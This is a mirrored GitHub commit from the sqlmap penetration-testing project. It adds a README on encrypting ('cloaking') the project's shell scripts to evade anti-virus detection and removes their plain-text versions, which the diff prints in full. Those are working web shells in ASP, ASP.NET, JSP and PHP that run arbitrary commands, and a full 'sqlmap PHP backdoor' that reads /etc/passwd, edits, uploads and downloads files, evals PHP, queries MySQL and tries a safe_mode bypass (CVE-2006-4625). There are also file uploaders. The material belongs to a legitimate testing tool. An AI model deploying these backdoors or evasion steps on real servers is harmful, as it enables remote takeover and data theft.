mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 09:36:35 +03:00
removed old plain text shell scripts
This commit is contained in:
Miroslav Stampar
parent
6966c235a4
commit
f91687c4f7
10
shell/README.txt
Normal file
10
shell/README.txt
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
Due to the anti-virus positive detection of shell scripts stored inside this folder,
|
||||
we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing
|
||||
has to be done prior to their usage by sqlmap, but if you want to have access to their
|
||||
original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
|
||||
|
||||
To prepare the original scripts to the cloacked form use this command:
|
||||
find backdoor.* uploader.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
|
||||
|
||||
To get back them into the original form use this:
|
||||
find backdoor.*_ uploader.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
|
||||
|
|
@ -1,44 +0,0 @@
|
|||
<!--
|
||||
|
||||
ASP_KIT
|
||||
|
||||
cmd.asp = Command Execution
|
||||
|
||||
by: Maceo
|
||||
modified: 25/06/2003
|
||||
|
||||
-->
|
||||
|
||||
<%
|
||||
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
|
||||
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
|
||||
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
szCMD = request("cmd")
|
||||
|
||||
If (szCMD <> "") Then
|
||||
szTempFile = "C:\" & oFileSys.GetTempName()
|
||||
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
|
||||
Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
|
||||
End If
|
||||
%>
|
||||
|
||||
<HTML>
|
||||
<BODY>
|
||||
<FORM action="" method="GET">
|
||||
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
|
||||
<input type="submit" value="Run">
|
||||
</FORM>
|
||||
<PRE>
|
||||
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
|
||||
<br>
|
||||
<%
|
||||
If (IsObject(oFile)) Then
|
||||
On Error Resume Next
|
||||
Response.Write Server.HTMLEncode(oFile.ReadAll)
|
||||
oFile.Close
|
||||
Call oFileSys.DeleteFile(szTempFile, True)
|
||||
End If
|
||||
%>
|
||||
</BODY>
|
||||
</HTML>
|
||||
|
|
@ -1,42 +0,0 @@
|
|||
<%@ Page Language="C#" Debug="true" Trace="false" %>
|
||||
<%@ Import Namespace="System.Diagnostics" %>
|
||||
<%@ Import Namespace="System.IO" %>
|
||||
<script Language="c#" runat="server">
|
||||
void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
string ExcuteCmd(string arg)
|
||||
{
|
||||
ProcessStartInfo psi = new ProcessStartInfo();
|
||||
psi.FileName = "cmd.exe";
|
||||
psi.Arguments = "/c "+arg;
|
||||
psi.RedirectStandardOutput = true;
|
||||
psi.UseShellExecute = false;
|
||||
Process p = Process.Start(psi);
|
||||
StreamReader stmrdr = p.StandardOutput;
|
||||
string s = stmrdr.ReadToEnd();
|
||||
stmrdr.Close();
|
||||
return s;
|
||||
}
|
||||
void cmdExe_Click(object sender, System.EventArgs e)
|
||||
{
|
||||
Response.Write("<pre>");
|
||||
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
|
||||
Response.Write("</pre>");
|
||||
}
|
||||
</script>
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<title>awen asp.net webshell</title>
|
||||
</HEAD>
|
||||
<body >
|
||||
<form id="cmd" method="post" runat="server">
|
||||
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
|
||||
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
|
||||
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
|
||||
</form>
|
||||
</body>
|
||||
</HTML>
|
||||
|
||||
<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
|
||||
<!-- http://michaeldaw.org 04/2007 -->
|
||||
|
|
@ -1,47 +0,0 @@
|
|||
<%@ page import="java.io.*" %>
|
||||
<%
|
||||
|
||||
Process p;
|
||||
String s, cmd, html;
|
||||
|
||||
cmd = request.getParameter("cmd");
|
||||
if (cmd == null) {
|
||||
cmd = "pwd";
|
||||
}
|
||||
|
||||
String []bashcmd = {"/bin/sh","-c",cmd};
|
||||
|
||||
html = request.getParameter("html");
|
||||
|
||||
if (html != null) {
|
||||
out.println("<HTML>");
|
||||
}
|
||||
|
||||
p = Runtime.getRuntime().exec(bashcmd);
|
||||
|
||||
BufferedReader stdInput = new BufferedReader(new
|
||||
InputStreamReader(p.getInputStream()));
|
||||
|
||||
BufferedReader stdError = new BufferedReader(new
|
||||
InputStreamReader(p.getErrorStream()));
|
||||
|
||||
|
||||
|
||||
while ((s = stdInput.readLine()) != null) {
|
||||
out.println(s);
|
||||
if (html != null) {
|
||||
out.println("<br>");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
while ((s = stdError.readLine()) != null) {
|
||||
System.out.println(s);
|
||||
if (html != null) {
|
||||
out.println("<br>");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
%>
|
||||
|
|
@ -1,302 +0,0 @@
|
|||
<?php
|
||||
@set_time_limit();
|
||||
@error_reporting(0);
|
||||
@ob_implicit_flush();
|
||||
$phpself=$_SERVER["PHP_SELF"];
|
||||
$css="body { background: #FFCC66; font-family: sans-serif; margin: auto; margin-bottom: 1em; margin-top: 1em; width: 95%; } a { color: #663300; text-decoration: none; } input, textarea { border: 1px solid gray; } pre { border: 1px dashed #663300; padding: 5px; background: #fffff0; } table { border-collapse: collapse; border: 1px solid #663300; background: #fffff0; width: 100%; } td, th { border: 1px solid #663300; padding: .3em; } thead th, tfoot th { border: 1px solid #663300; text-align: center; font-size: 1em; font-weight: bold; color: #663300; background: #FFCC66; } #maintitle { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: .3em; text-align: center; } #leftbody { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: .5em; width: 22%; float: left; position: relative; } #rightbody { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: 15px; width: 73%; float: right; position: relative; display:inline; }";
|
||||
$cssEncoded=@urlencode($css);
|
||||
|
||||
function error($message) {
|
||||
$completeMessage="<b>Error</b>: " . $message . ".";
|
||||
die($completeMessage);
|
||||
}
|
||||
|
||||
function getSymbolByQuantity($bytes) {
|
||||
$symbols=array('B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB');
|
||||
$exp=@floor(log($bytes)/log(1024));
|
||||
|
||||
return @sprintf('%.2f ' . $symbols[$exp], ($bytes/pow(1024, @floor($exp))));
|
||||
}
|
||||
|
||||
function ex($command) {
|
||||
$res='';
|
||||
if (@function_exists('exec')) {
|
||||
@exec($command, $res);
|
||||
$res=@join("\n", $res);
|
||||
}
|
||||
elseif (@function_exists('shell_exec')) {
|
||||
$res=@shell_exec($command);
|
||||
}
|
||||
elseif(@function_exists('system')) {
|
||||
@ob_start();
|
||||
@system($command);
|
||||
$res=@ob_get_contents();
|
||||
@ob_end_clean();
|
||||
}
|
||||
elseif (@function_exists('passthru')) {
|
||||
@ob_start();
|
||||
@passthru($command);
|
||||
$res=@ob_get_contents();
|
||||
@ob_end_clean();
|
||||
}
|
||||
elseif (@is_resource($f=@popen($command, "r"))) {
|
||||
$res="";
|
||||
while(!@feof($f)) {
|
||||
$res .= @fread($f, 1024);
|
||||
}
|
||||
@pclose($f);
|
||||
}
|
||||
$res=@htmlspecialchars($res);
|
||||
return $res;
|
||||
}
|
||||
|
||||
if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) {
|
||||
echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">";
|
||||
echo "<html><head>";
|
||||
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">";
|
||||
echo "<meta name=\"author\" content=\"Bernardo Damele A. G.\">";
|
||||
echo "<meta name=\"robots\" content=\"noindex,nofollow,noarchive\">";
|
||||
echo "<style type=\"text/css\">" . $css . "</style><title>sqlmap PHP backdoor</title></head>";
|
||||
echo "<body><div id=\"wrapper\" class=\"clearfix\"><div id=\"maintitle\"><h1>sqlmap PHP backdoor</h1></div><br><div id=\"leftbody\">";
|
||||
echo "<p><b>System information</b>: <a href=\"" . $phpself . "?sysinfo\">here</a><br>";
|
||||
echo "<b>PHP info</b>: <a href=\"" . $phpself . "?phpinfo\" target=\"_blank\">here</a><br>";
|
||||
echo "<b>Send an email</b>: <a href=\"" . $phpself . "?mailForm\">here</a></p>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Read a file</b><br><input type=\"text\" name=\"readFile\" value=\"/etc/passwd\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Edit a file</b><br><input type=\"text\" name=\"editFile\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Download a file</b><br>Directory: <input type=\"text\" name=\"dir\" value=\"/etc\"><br>File: <input type=\"text\" name=\"download\" value=\"passwd\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"POST\" enctype=\"multipart/form-data\"><input type=hidden name=\"MAX_FILE_SIZE\" value=\"1000000000\"><b>Upload a file</b><br><input name=\"file\" type=\"file\"><br>to directory: <input type=\"text\" name=\"uploadDir\" value=\"/tmp\"><input type=\"submit\" name=\"upload\" value=\"upload\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Browse a directory</b><br><input type=\"text\" name=\"listDir\" value=\"/etc\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a shell command</b><br><input type=\"text\" name=\"cmd\" value=\"ps auxfww\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a PHP command</b><br><input type=\"text\" name=\"phpcode\" value=\"ini_get_all()\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a MySQL query</b><br>host: <input type=\"text\" name=\"host\" value=\"localhost\"><br>user: <input type=\"text\" name=\"user\" value=\"root\"><br>password: <input type=\"password\" name=\"password\"><br>query: <input type=\"text\" name=\"query\"><br><input type=\"submit\" value=\"execute\"></form><br>";
|
||||
echo "</div><div id=\"rightbody\">";
|
||||
}
|
||||
|
||||
if (isset($_REQUEST["sysinfo"])) {
|
||||
if (@strtolower(@substr(@PHP_OS, 0, 3)) == "win") {
|
||||
$win=1;
|
||||
}
|
||||
else {
|
||||
$win=0;
|
||||
}
|
||||
$safeMode=@ini_get("safe_mode");
|
||||
$openBaseDir=@ini_get("open_basedir");
|
||||
if ($safeMode || $openBaseDir) {
|
||||
/**
|
||||
* Exploit CVE: CVE-2006-4625
|
||||
* Affected Software: PHP 5.1.6 / 4.4.4 < = x
|
||||
* Advisory URL: http://securityreason.com/achievement_securityalert/42
|
||||
* Try to restore to default value
|
||||
*/
|
||||
ini_restore("safe_mode");
|
||||
ini_restore("open_basedir");
|
||||
}
|
||||
$magicQuotesGpc=@ini_get("magic_quotes_gpc");
|
||||
$dir=@getcwd();
|
||||
$total=@disk_total_space($dir);
|
||||
$free=@disk_free_space($dir);
|
||||
echo "<b>Operating system</b><br><pre>" . @PHP_OS;
|
||||
echo "</pre><b>Server uname</b><br><pre>" . php_uname();
|
||||
echo "</pre><b>Server uptime</b><br><pre>";
|
||||
echo (!$win) ? ex("uptime") : ex("net statistics server");
|
||||
echo "</pre><b>Server time</b><br><pre>";
|
||||
echo date("D, M d, h:iA");
|
||||
echo "</pre><b>Disk space</b><br><pre>";
|
||||
echo "Total space: " . getSymbolByQuantity($total) . "<br>";
|
||||
echo "Free space: " . getSymbolByQuantity($free);
|
||||
echo "</pre><b>Web server username</b><br><pre>";
|
||||
echo (!$win) ? `id` . "<br>" : @get_current_user();
|
||||
echo "</pre><b>PHP version</b><br><pre>" . @phpversion();
|
||||
echo "</pre><b>PHP safe_mode</b><br><pre>";
|
||||
echo ($safeMode) ? "ON<br>" : "OFF<br>";
|
||||
echo "</pre><b>PHP open_basedir</b><br><pre>";
|
||||
echo ($openBaseDir) ? "ON<br>" : "OFF<br>";
|
||||
echo "</pre><b>PHP magic_quotes_gpc</b><br><pre>";
|
||||
echo ($magicQuotesGpc) ? "ON<br>" : "OFF<br>";
|
||||
echo "</pre><b>CPU information</b><br><pre>";
|
||||
echo ex("cat /proc/cpuinfo");
|
||||
echo "</pre><b>Memory information</b><br><pre>";
|
||||
echo ex("cat /proc/meminfo");
|
||||
echo "</pre><b>Open ports and active connections</b><br><pre>";
|
||||
echo (!$win) ? ex("netstat -nat") : ex("netstat -ano");
|
||||
echo "</pre><b>Network devices</b><br><pre>";
|
||||
echo (!$win) ? ex("/sbin/ifconfig -a") : ex("ipconfig /all");
|
||||
echo "</pre><b>Processes</b><br><pre>";
|
||||
echo (!$win) ? ex("ps auxfww") : ex("tasklist");
|
||||
echo "</pre>";
|
||||
echo ($win) ? "<b>Network use</b><br><pre>".ex("net use")."</pre><b>Network share</b><br><pre>".ex("net share")."</pre><b>Network user</b><br><pre>".ex("net user")."</pre>" : "";
|
||||
}
|
||||
|
||||
else if(isset($_REQUEST["phpinfo"])) {
|
||||
echo @phpinfo();
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["readFile"])) {
|
||||
$file=$_REQUEST["readFile"];
|
||||
$fileHandler=@fopen($file, "rb") or error("Unable to read file <code>" . $file . "</code>");
|
||||
$fileContent=@file_get_contents($file);
|
||||
echo "<p>File: <code>" . $file . "</code><p>";
|
||||
echo "<pre>" . @htmlspecialchars($fileContent) . "</pre>";
|
||||
}
|
||||
|
||||
else if(isset($_REQUEST["editFile"])) {
|
||||
$file=$_REQUEST["editFile"];
|
||||
if (!$file) {
|
||||
error("Specify the file to edit");
|
||||
}
|
||||
$fileHandler=@fopen($file, "rb") or error("Unable to read file <code>" . $file . "</code>");
|
||||
$fileContent=@file_get_contents($file);
|
||||
echo "<form action=$phpself method=POST>";
|
||||
echo "File: <input type=text name=saveFile value=" . $file . " readonly=readonly><br><br>";
|
||||
echo "<textarea name=contentFile cols=80 rows=40>";
|
||||
echo $fileContent;
|
||||
echo "</textarea><br><input type=submit value=Save>";
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["saveFile"])) {
|
||||
$file=$_REQUEST["saveFile"];
|
||||
$newContent=$_REQUEST["contentFile"];
|
||||
if (@is_writable($file)) {
|
||||
$fileHandler=@fopen($file, "w+") or error("Unable to read file <code>" . $file . "</code>");
|
||||
@fwrite($fileHandler, $newContent) or error("Unable to write on file <code>" . $file . "</code>");
|
||||
echo "File <code>" . $file . "</code> successfully written";
|
||||
@fclose($fileHandler);
|
||||
}
|
||||
else {
|
||||
error("File <code>" . $file . "</code> is not writable");
|
||||
}
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["download"])) {
|
||||
ob_clean();
|
||||
$dir=$_REQUEST["dir"];
|
||||
$file=$_REQUEST["download"];
|
||||
$filename=$dir. "/" . $file;
|
||||
$fileHandler=@fopen($filename, "rb") or error("Unable to read file <code>" . $file . "</code>");
|
||||
$fileContent=@file_get_contents($filename);
|
||||
header("Content-type: application/octet-stream");
|
||||
header("Content-length: " . strlen($fileContent));
|
||||
header("Content-disposition: attachment; filename=" . $file . ";");
|
||||
echo $fileContent;
|
||||
exit;
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["upload"])) {
|
||||
if (!isset($_REQUEST["uploadDir"])) {
|
||||
error("Specify directory name (ig: /tmp)");
|
||||
}
|
||||
$dir=$_REQUEST["uploadDir"];
|
||||
$file=$HTTP_POST_FILES["file"]["name"];
|
||||
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or error("File upload error");
|
||||
@chmod($dir . "/" . $file, 0755) or error("Unable to set file permission on <code>" . $file . "</code>");
|
||||
echo "<p>File <code>" . $file . "</code> successfully uploaded to <code>" . $dir . "</code></p>";
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["listDir"])) {
|
||||
$dirToOpen=$_REQUEST["listDir"];
|
||||
$dirHandler=@opendir($dirToOpen) or error("Unable to open directory");
|
||||
echo "<p>Directory: <code>" . $dirToOpen . "</code></p>";
|
||||
echo "<table border=1><tr><thead><th>Name</th><th>Permission</th><th>Owner/Group</th><th>Size</th><th>Read</th><th>Write</th><th>Download</th></thead></tr>";
|
||||
$list=array();
|
||||
while ($o=@readdir($dirHandler)) {
|
||||
$list[]=$o;
|
||||
}
|
||||
@closedir($dirHandler);
|
||||
@sort($list);
|
||||
foreach ($list as $file) {
|
||||
if ($file == ".") {
|
||||
continue;
|
||||
}
|
||||
$linkToFile=$dirToOpen . "/" . $file;
|
||||
$isdir=@is_dir($linkToFile);
|
||||
$islink=@is_link($linkToFile);
|
||||
$isfile=@is_file($linkToFile);
|
||||
echo "<tr><tbody>";
|
||||
if ($isdir) {
|
||||
echo "<td><a href=$phpself?listDir=$linkToFile>";
|
||||
}
|
||||
else if ($isfile) {
|
||||
echo "<td><a href=$phpself?readFile=$linkToFile>";
|
||||
}
|
||||
else {
|
||||
echo "<td>$linkToFile";
|
||||
}
|
||||
echo "$linkToFile</a></td>";
|
||||
echo "<td>" . @substr(@sprintf("%o", @fileperms($linkToFile)), -4) . "</td>";
|
||||
$owner=@posix_getpwuid(@fileowner($linkToFile));
|
||||
$group=@posix_getgrgid(@filegroup($linkToFile));
|
||||
echo "<td>" . $owner["name"] . "/" . $group["name"] . "</td>";
|
||||
if ($isdir) {
|
||||
echo "<td>DIR</td>";
|
||||
}
|
||||
else if ($islink) {
|
||||
echo "<td>LINK</td>";
|
||||
}
|
||||
else if ($isfile) {
|
||||
echo "<td>" . @sprintf("%u", @filesize($linkToFile)) . " bytes</td>";
|
||||
}
|
||||
else {
|
||||
echo "<td>Unknown</td>";
|
||||
}
|
||||
echo (@is_readable($linkToFile) && $isfile) ? "<td><a href=$phpself?readFile=$linkToFile>Read</a></td>" : "<td>-</td>";
|
||||
echo (@is_writable($linkToFile) && $isfile) ? "<td><a href=$phpself?editFile=$linkToFile>Write</a></td>" : "<td>-</td>";
|
||||
echo (@is_readable($linkToFile) && $isfile) ? "<td><a href=$phpself?dir=$dirToOpen&download=$file>Download</a></td>" : "<td>-</td>";
|
||||
echo "</tr>";
|
||||
}
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["mailForm"])) {
|
||||
echo "<form action=" . $phpself . " method=POST>";
|
||||
echo "<input name=mail type=hidden><input type=hidden name=mail>";
|
||||
echo "To: <input name=to type=text value=\"foo@bar.tld\"><br><br>";
|
||||
echo "Subject: <input name=subject type=text value=\"" . $_SERVER["HTTP_HOST"] . ": sqlmap PHP backdoor\"/><br><br>";
|
||||
echo "Body:<br><textarea cols=80 rows=40 name=msg></textarea><br>";
|
||||
echo "<input type=submit value=Send>";
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["mail"])) {
|
||||
$status=@mail($_REQUEST["to"], $_REQUEST["subject"], $_REQUEST["msg"]);
|
||||
echo $status ? "Mail sent" : "Failed to send mail";
|
||||
@exit;
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["cmd"])) {
|
||||
$cmd=$_REQUEST["cmd"];
|
||||
echo "<p>Shell command: <code>" . $cmd . "</code></p>";
|
||||
echo "<pre>" . ex($cmd) . "</pre>";
|
||||
}
|
||||
|
||||
else if(isset($_REQUEST["phpcode"])) {
|
||||
$code=$_REQUEST["phpcode"];
|
||||
echo "<p>PHP command: <code>" . $code . "</code></p>";
|
||||
echo "<pre>";
|
||||
echo @eval("print_r($code);");
|
||||
echo "</pre>";
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["query"])) {
|
||||
$host=$_REQUEST["host"];
|
||||
$user=$_REQUEST["user"];
|
||||
$password=$_REQUEST["password"];
|
||||
$query=$_REQUEST["query"];
|
||||
$link=@mysql_connect("$host", "$user", "$password");
|
||||
if (!$link) {
|
||||
error(@mysql_error());
|
||||
}
|
||||
$result=@mysql_query($query);
|
||||
if (!$result) {
|
||||
error(@mysql_error());
|
||||
}
|
||||
echo "<p>MySQL query: <code>" . $query . "</code></p>";
|
||||
echo "<pre>";
|
||||
while ($row=@mysql_fetch_array($result, MYSQL_ASSOC)) {
|
||||
@print_r($row);
|
||||
}
|
||||
echo "</pre>";
|
||||
@mysql_free_result($result);
|
||||
}
|
||||
|
||||
if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) {
|
||||
echo "</div></div></body></html>";
|
||||
}
|
||||
?>
|
||||
|
|
@ -1,2 +0,0 @@
|
|||
<p><b>sqlmap backdoor uploader</b></p>
|
||||
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>
|
||||
|
|
@ -1,23 +0,0 @@
|
|||
<%@ Page Language="vb" AutoEventWireup="false" Codebehind="uploader.aspx.vb" Inherits="VBNetUpload.WebForm1"%>
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<title>WebForm1</title>
|
||||
<meta name="GENERATOR" content="Microsoft Visual Studio.NET 7.0">
|
||||
<meta name="CODE_LANGUAGE" content="Visual Basic 7.0">
|
||||
<meta name=vs_defaultClientScript content="JavaScript">
|
||||
<meta name=vs_targetSchema content="http://schemas.microsoft.com/intellisense/ie5">
|
||||
</HEAD>
|
||||
<body MS_POSITIONING="GridLayout">
|
||||
|
||||
<form id="Form1" enctype="multipart/form-data" method="post" runat="server">
|
||||
|
||||
<INPUT type=file id=File1 name=File1 runat="server" >
|
||||
<br>
|
||||
<input type="submit" id="Submit1" value="Upload" runat="server" NAME="Submit1">
|
||||
|
||||
|
||||
</form>
|
||||
|
||||
</body>
|
||||
</HTML>
|
||||
|
|
@ -1,41 +0,0 @@
|
|||
Public Class WebForm1
|
||||
Inherits System.Web.UI.Page
|
||||
Protected WithEvents File1 As System.Web.UI.HtmlControls.HtmlInputFile
|
||||
Protected WithEvents Submit1 As System.Web.UI.HtmlControls.HtmlInputButton
|
||||
|
||||
#Region " Web Form Designer Generated Code "
|
||||
|
||||
'This call is required by the Web Form Designer.
|
||||
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
|
||||
'CODEGEN: This method call is required by the Web Form Designer
|
||||
'Do not modify it using the code editor.
|
||||
InitializeComponent()
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
'Put user code to initialize the page here
|
||||
End Sub
|
||||
|
||||
Private Sub Submit1_ServerClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Submit1.ServerClick
|
||||
|
||||
If Not File1.PostedFile Is Nothing And File1.PostedFile.ContentLength > 0 Then
|
||||
Dim fn As String = System.IO.Path.GetFileName(File1.PostedFile.FileName)
|
||||
Dim SaveLocation as String = Server.MapPath("Data") & "\" & fn
|
||||
Try
|
||||
File1.PostedFile.SaveAs(SaveLocation)
|
||||
Response.Write("The file has been uploaded.")
|
||||
Catch Exc As Exception
|
||||
Response.Write("Error: " & Exc.Message)
|
||||
End Try
|
||||
Else
|
||||
Response.Write("Please select a file to upload.")
|
||||
End If
|
||||
|
||||
End Sub
|
||||
End Class
|
||||
|
|
@ -1,12 +0,0 @@
|
|||
<?php
|
||||
if (isset($_REQUEST["upload"])) {
|
||||
$dir=$_REQUEST["uploadDir"];
|
||||
$file=$HTTP_POST_FILES["file"]["name"];
|
||||
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
|
||||
@chmod($dir . "/" . $file, 0755);
|
||||
echo "Backdoor uploaded";
|
||||
}
|
||||
else {
|
||||
echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap backdoor uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=WRITABLE_DIR> <input type=submit name=upload value=upload></form>";
|
||||
}
|
||||
?>
|
||||
Loading…
Reference in New Issue
Block a user